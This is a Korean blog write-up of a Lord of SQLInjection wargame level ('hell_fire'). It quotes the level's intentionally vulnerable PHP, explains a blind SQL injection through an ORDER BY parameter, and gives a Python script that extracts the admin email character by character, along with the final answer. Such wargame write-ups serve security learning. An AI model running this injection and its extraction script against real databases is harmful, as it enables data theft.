LOS #23 hell_fire
Lord of SQLInjection
los.rubiya.kr
Source Code
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|proc|union/i', $_GET[order])) exit("No Hack ~_~");
$query = "select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}";
echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
$rows = mysqli_query($db,$query);
while(($result = mysqli_fetch_array($rows))){
if($result['id'] == "admin") $result['email'] = "**************";
echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
}
echo "</table><hr>query : <strong>{$query}</strong><hr>";
$_GET[email] = addslashes($_GET[email]);
$query = "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire");
highlight_file(__FILE__);
?>
Query
select id,email,score from prob_hell_fire where 1 order by
Write-up
문제에서 확인 가능한 정보는 다음과 같다.
- id, email, score 칼럼을 가져온다.
- order 파라미터를 이용하여 정렬을 할 수 있다. order by..
- id가 'admin'일 경우 email 값이 마스킹되고 있다.
- email 파라미터의 경우 PHP의 addslashes() 함수로 필터링 된다.
- 정확한 email을 입력해야만 문제가 풀린다.
정렬 순서를 조작하여 블라인드 인젝션을 수행할 수 있다.
* PHP addslashes() Function
PHP: addslashes - Manual
spamdunk at home dot com, your way is dangerous on PostgreSQL (and presumably MySQL). You're quite correct that ANSI SQL specifies using ' to escape, but those databases also support \ for escaping (in violation of the standard, I think). Which means that
www.php.net
* SQL order by
SQL ORDER BY Keyword
SQL ORDER BY Keyword The SQL ORDER BY Keyword The ORDER BY keyword is used to sort the result-set in ascending or descending order. The ORDER BY keyword sorts the records in ascending order by default. To sort the records in descending order, use the DESC
www.w3schools.com
테스트 테이블을 만들고 order by 옵션으로 select를 하면 위와 같이 order by 옵션에 따라 정렬 순서가 바뀌는 것을 확인할 수 있다. "where 1" 옵션은 전체 row를 출력시킨다.
order by는 위와 같이 사용할수도 있는데, 특정 값을 최하단에 오도록 정렬할 수 있다.
desc 옵션을 주면 위와 같이 최상단에 오도록 정렬시킬 수 있다. desc 옵션은 디폴트 옵션인 asc의 반대 기능을 하는데, 내림차순으로 정렬시키는 것을 의미한다.
위와 같이 asc, desc 옵션에 따라 정렬 순서가 바뀌는 것을 확인할 수 있다.
이제 order by와 desc를 조합하여 블라인드 인젝션을 수행해볼 수 있다. 위와 같이 and 옵션을 통해 id는 'admin' 값으로 고정한 뒤에 length() 함수로 id가 'admin'인 email 값의 길이를 구할 수 있다. 두 번째 쿼리문의 결과를 보면 email 값의 길이가 14일 때 id가 'admin'인 필드를 출력한다.
이제 substr 함수로 email 값을 탈취해보자. and 옵션으로 id 값은 'admin'으로 고정하고 한글자씩 비교하여 출력되는 결과에 따라 일치 여부를 확인할 수 있다. 위와 같이 첫 번째 쿼리문의 결과로 admin 필드가 출력되므로 email 값의 첫 번째 글자는 'a'임을 알 수 있다. 이 과정을 python으로 자동화시킬 수 있는데, 코드는 다음과 같다.
#!/usr/bin/py
#-*-coding:utf-8 -*-
import requests
def GetEmailLength(t, s):
MIN_LENGTH = 1
MAX_LENGTH = 100
i = MIN_LENGTH
while i <= MAX_LENGTH:
try:
tmpEmailLength = str(i)
payload = t + "?order=id='admin' and length(email)=" + tmpEmailLength + " desc limit 1"
r = requests.post(payload, cookies=(dict(PHPSESSID=s)))
#print(payload)
except OSError as e:
continue
except Exception as e:
print("GetEmailLength() Error...")
print(e)
exit(1)
if ">admin<" in r.text:
return i
i += 1
def GetEmail(t, s, lengthEmail):
FIRST_ASCII = 32
LAST_ASCII = 127
BACK_SLASH = 92
tmpEmail = ""
for i in range(1, lengthEmail + 1):
j = FIRST_ASCII
while j <= LAST_ASCII:
try:
# backslash error bypass
if j == BACK_SLASH:
j += 1
tmpChar = chr(j)
payload = t + "?order=id='admin' and substr(email, " + str(i) + ", 1)=binary(\'" + tmpChar +"\') desc limit 1"
r = requests.post(payload, cookies=(dict(PHPSESSID=s)))
#print(payload)
# Caused by NewConnectionError('<urllib3.connection.VerifiedHTTPSConnection object at 0x7f9f58e66910>: Failed to establish a new connection: [Errno 110] Connection timed out'))
except OSError as e:
continue
except Exception as e:
print("GetEmail Error...")
print(e)
exit(1)
# ascii code 0d95 "_" => "Hack" bypass
if ">admin<" in r.text:
tmpEmail += chr(j)
print("Stolen Email : %s" %(tmpEmail))
break
j += 1
return tmpEmail
if __name__ == "__main__":
t = "https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"
session = "" # Session
email = ""
lengthEmail = GetEmailLength(t, session)
print("Length of Email : %d\n" %(lengthEmail))
email = GetEmail(t, session, lengthEmail)
print("Final Email : %s" %(email))
위와 같이 python으로 email 값을 탈취할 수 있는데 총 길이가 28인 반면, 실제 email의 길이는 26이다. 왜 그럴까 고민을 해봤는데, 블라인드 인젝션을 수행하기 위해 사용하는 파라미터 order에서 "_", "." 문자가 필터링되기 때문이었다. email 값은 "admin_scure_email@emai1.com"이다.
* code
0xe82de/LOS
lord of sql injection. Contribute to 0xe82de/LOS development by creating an account on GitHub.
github.com
Parameter
email=admin_scure_email@emai1.com
Success
'Wargame > LOS' 카테고리의 다른 글
LOS #24 evil_wizard (0) | 2020.12.15 |
---|---|
LOS #22 dark_eyes (0) | 2020.12.09 |
LOS #21 iron_golem (0) | 2020.12.08 |
LOS #20 dragon (0) | 2020.10.28 |
LOS #19 xavis (0) | 2020.10.28 |